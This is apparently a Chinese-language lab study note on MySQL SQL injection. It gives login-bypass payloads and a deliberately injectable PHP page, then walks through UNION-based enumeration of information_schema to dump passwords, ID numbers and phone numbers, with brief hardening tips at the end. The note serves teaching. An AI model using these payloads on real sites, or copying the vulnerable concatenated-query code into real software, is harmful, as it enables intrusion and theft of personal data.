MYSQL 案例学习



SQL注入
方法一: 用户名' -- 格式 例如admin' -- 密码随意

方法二:用户名随意 密码格式为 随意密码' or '1'='1 123' or '1=1
分析漏洞语句 缺乏过滤的直接拼接 写一个恒成立 的sql
Select * from school.users where '$name' and '$pwd';
SQL语句正确执行,恒成立
$name = aaa
$pwd = bb' or '1'='1
其他SQL注入的写法:
bb' or '1=1
bb' or '1=1' -- + 注释 空格 +(占字符)
bb' or 1=1 limit 1,1 -- -
案例二
使用union 查询
用于合并两个或多个 select语句的结果集,同时去除重复的记录。每个select语句必须拥有相同数量的列,且列的数据类型也必须兼容。


用union 拼接

每个select语句必须拥有相同数量的列,且列的数据类型也必须兼容。
案例2环境搭建
<?php
header("Content-Type: text/html; charset=utf-8");
$conn = mysqli_connect("127.0.0.1", "root", "root", "school");
if ($_GET) {
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);
// 极简输出结果
echo "学生信息查询<br>";
if (@mysqli_num_rows($result) > 0) {
while($row=mysqli_fetch_array($result)){
echo "学生姓名:" . $row['name']."<br>";
}
} else {
echo "未找到该学生"."<br>";
echo mysqli_error($conn);
}
}else{
echo "参数是id";
}
mysqli_close($conn);
?>
get方式 可以url进行拼接?/

通过sql语句union 方式获取其他信息
第一步 用order by 判断最大字段数
select * from users order by 数字 如果临界点大于表单的字段数就会报错,从而得出字段数 穷举


在前端 放到地址栏进行测试 order by *

使用union拼接
select * from users where id=1 union select 1,2,3,4,5

第二步:找回显位指的是那个字段在前端可以被看到
例如:看到学生姓名

前端会显示的位置
select * from users where id=-1 union select 1,2,3,4,5



从而获取显示位是第二个字段
第三步:select * from users where id=1 union select 1,(select id,name,password from school.users),3,4,5 要执行该语句前提是知道库名、表名、字段名
1.利用database()查出当前库名 school
select * from users where id=-1 union select 1,(select DATABASE()),3,4,5;
select * from users where id=-1 union select 1,DATABASE(),3,4,5;
2.从指定库中找表名 SELECT * FROM information_schema.TABLES WHERE table_schema = 'school'

SELECT table_name FROM information_schema.TABLES WHERE table_schema = 'school'

多行数据 变为单行数据

select * from users where id=-1 union select 1,(SELECT group_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema = 'school'),3,4,5

在地址栏输入

3.有了表名 使用users表的字段表
SELECT column_name FROM information_schema.COLUMNS WHERE table_schema = 'school' AND table_name='users'

select * from users where id=-1 union select 1,(
SELECT column_name FROM information_schema.COLUMNS WHERE table_schema = 'school' AND table_name='users'
),3,4,5
select * from users where id=-1 union select 1,(SELECT group_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_schema = 'school' AND table_name='users'),3,4,5


最后,获取id,name,password,id_card,phone
SELECT id,name,password,id_card,phone FROM school.users --提取全部信息

SELECT concat_ws('-',id,name,password,id_card,phone ) FROM school.users

select * from users where id=-1 union select 1,(SELECT group_CONCAT(concat_ws('-',id,name,password,id_card,phone ) ) FROM school.users
),3,4,5


数据拿下

要从 sql找到information_schema(信息库——目录索引)


打开tables文件


查看columns 文件 什么库里有什么表 表里有哪些字段


从information_schema (信息库收集)
从mysql中找配置信息


select * from users where id=-1 union select 1,DATABASE(),3,4,5

select * from users where id=-1 union select 1,(select DATABASE()),3,4,5
SELECT `password` FROM USERS WHERE id=(SELECT id FROM users WHERE `name` ='admin') 用户admin作为输入,通过查询id ,密码作为输出
数据库加固
1.最小权限原则
2.查看日志
set global general_log=on;
show variables like 'general_log_file'

找到DESKTOP-AA….文件 用记事本方式打开 用IA进行分析
3.数据备份 原始数据+2份备份(本地+异地) 本地硬盘3份,U盘2份,云盘1份 1份离线
- 创建数据库:
- 左侧点击「新建」,数据库名填school,字符集选utf8mb4,排序规则选utf8mb4_general_ci,点击「创建」。
- 创建用户表并插入测试数据:
- 选中school数据库,点击「SQL」标签,粘贴以下 SQL 语句,点击「执行」:
sql
CREATE TABLE `users` (
`id` INT PRIMARY KEY AUTO_INCREMENT,
`name` VARCHAR(50) NOT NULL UNIQUE,
`password` VARCHAR(255) NOT NULL, -- 预留加密密码的长度
`id_card` VARCHAR(18) NOT NULL,
`phone` VARCHAR(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- 插入测试数据(密码明文为123456,方便测试)
INSERT INTO `users` (`name`, `password`, `id_card`, `phone`)
VALUES
('admin', '123456', '110101199001011234', '13800138000'),
('student', '654321', '110101199505056789', '13900139000'); - 案例一:
更多推荐



所有评论(0)